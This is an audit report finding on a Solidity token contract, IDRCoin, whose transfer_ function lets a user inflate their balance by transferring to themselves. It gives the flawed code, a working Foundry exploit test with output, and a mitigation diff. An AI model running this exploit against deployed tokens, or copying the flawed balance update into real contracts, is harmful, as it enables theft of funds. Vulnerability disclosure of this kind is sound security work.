# [H-01] The `IDRCoin::transfer_` function has an unintended effect on the `balances` when a malicious user transfers to themselves.

## Submitter

ZafiN

## Finding description and impact

The issue in the implementation of the update balances function in the `transfer_` function allows an attacker to arbitrary increases the amount of IDRCoin they own when performing a transfer to themselves.

## Proof of Concept


```js

    function transfer_(
        address _sender,
        address _receiver,
        uint256 _amount
    ) internal {
        uint256 balanceSenderBefore = balanceOf(_sender);
        uint256 balanceReceiverBefore = balanceOf(_receiver);

        balances[_sender] = balanceSenderBefore - _amount;
        balances[_receiver] = balanceReceiverBefore + _amount;

        // revert if the _amount is zero. we dont want user to waste gas
        require(
            balances[_sender] != balanceSenderBefore ||
                balances[_receiver] != balanceReceiverBefore,
            ""cant transfer 0 amount""
        );
    }

```

Based on the transfer_ function, an attacker can perform a transfer to themselves because there is no check to verify whether the _sender and _receiver addresses are the same. Now, carefully examine the following section of code.

```js

        uint256 balanceSenderBefore = balanceOf(_sender);
        uint256 balanceReceiverBefore = balanceOf(_receiver);

        balances[_sender] = balanceSenderBefore - _amount;
        balances[_receiver] = balanceReceiverBefore + _amount;

```

If an attacker performs a transfer to themselves, the variables balanceSenderBefore and balanceReceiverBefore will have the same value, which is the attacker's balance, because both the sender and receiver addresses belong to the attacker. Then, the attacker's balance will be updated by subtracting the transfer amount (balanceSenderBefore - _amount). Next, the attacker's balance will be updated again by adding the transfer amount (balanceReceiverBefore + _amount), effectively allowing the attacker to arbitrarily increase their balance.

To verify this, add the following test to `Base.t.sol`:

```js
    function test_arbitraryIncreasesBalanceWhenTransferToYourSelf() public {
        address attacker = makeAddr(""attacker"");

        convertUSDTtoIDR(attacker, 100e6);
        vm.startPrank(attacker);
        uint256 initialAttackerBalance = idrCoin.balanceOf(attacker);

        
        uint256 howManyTransferToYourSelf = 10;

        // attacker transfer the IDRCoin to itself
        for(uint256 i = 0; i < howManyTransferToYourSelf; i++) {
            idrCoin.transfer(attacker, idrCoin.balanceOf(attacker));
        }

        
        uint256 attackerBalanceNow = idrCoin.balanceOf(attacker);
        
        // assert
        assertEq(attackerBalanceNow, (2**howManyTransferToYourSelf) * initialAttackerBalance);

        uint256 increasePercentage = (attackerBalanceNow - initialAttackerBalance) * 100 / initialAttackerBalance;
        console.log('Balance of attacker increase %d percents', increasePercentage); // Big Arbitrary Increases !!!
        
        vm.stopPrank();
    }
```

then run `forge test --mt test_arbitraryIncreasesBalanceWhenTransferToYourSelf -vvv` the exploit test would SUCCESS:

```bash
Ran 1 test for test/Base.t.sol:Base
[PASS] test_arbitraryIncreasesBalanceWhenTransferToYourSelf() (gas: 326464)
Logs:
  user balance:  1408000000000000000000000
  Balance of attacker increase 102300 percents

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.40ms (5.90ms CPU time)

Ran 1 test suite in 74.18ms (17.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Recommended mitigation steps

modify the balance update implementation, or alternativelym add a check to ensure that the _sender is not the same as the _receiver as shown in the code below:

```diff
diff --git a/src/IDRCoin.sol b/src/IDRCoin.sol
index c9b6d40..8b7715e 100644
--- a/src/IDRCoin.sol
+++ b/src/IDRCoin.sol

@@ -115,7 +116,11 @@ contract IDRCoin is ERC20{
    function transfer_(
        address _sender,
        address _receiver,
        uint256 _amount
    ) internal {
+        require(_sender != _receiver, ""cant transfer to it self"");
+        require(_amount > 0, ""cant transfer 0 amount"");

-        uint256 balanceSenderBefore = balanceOf(_sender);
-        uint256 balanceReceiverBefore = balanceOf(_receiver);

-        balances[_sender] = balanceSenderBefore - _amount;
+        balances[_sender] -= _amount;
-        balances[_receiver] = balanceReceiverBefore + _amount;
+        balances[_receiver] += _amount;

-        // revert if the _amount is zero. we dont want user to waste gas
-        require(
-            balances[_sender] != balanceSenderBefore ||
-                balances[_receiver] != balanceReceiverBefore,
-            ""cant transfer 0 amount""
-        );
    }
     }

```
